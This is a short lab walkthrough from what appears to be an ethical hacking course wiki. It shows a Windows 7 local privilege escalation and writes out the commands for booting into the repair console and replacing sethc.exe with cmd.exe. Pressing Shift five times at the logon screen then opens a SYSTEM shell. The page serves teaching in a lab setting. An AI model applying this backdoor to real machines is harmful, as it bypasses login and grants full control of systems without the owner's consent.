Class 7 Lab 1 ‐ Windows 7 Local PE - Justin-Boyd/Ethical-Hacking-Class GitHub Wiki
Task 1: Mount the OS and Enter the CMD
Step 1
- Use a Windows OS CD to boot Windows 7 over the existing Windows 7 OS.
Step 2
- Open the command prompt instead of installing the system.
- Select “Repair your computer”
- In the next screen, click Next to choose the Windows 7 operating system
- Select “Command prompt”.
Task 2: Switch sethc.exe with cmd.exe
Step 1
- Find the local disks. Back up and replace the sethc.exe file at windows\system32 with cmd.exe.
wmic logicaldisk get name
D:
copy sethc.exe sethc2.exe
copy cmd.exe sethc.exe
yes
Step 2
- Restart the virtual machine from the command prompt and launch sethc.exe from the Windows logon screen. Note that cmd.exe opens, instead of sethc.exe with NT privileges.
- Open the devices tab to unmount the disk image.
- Type shutdown -r from the command prompt to restart.
- After restarting the machine, press Shift five times.
- Cmd.exe should open instead of sethc.exe
- Type “whoami” and note that it says “nt authority\system”, which is the highest privileged user.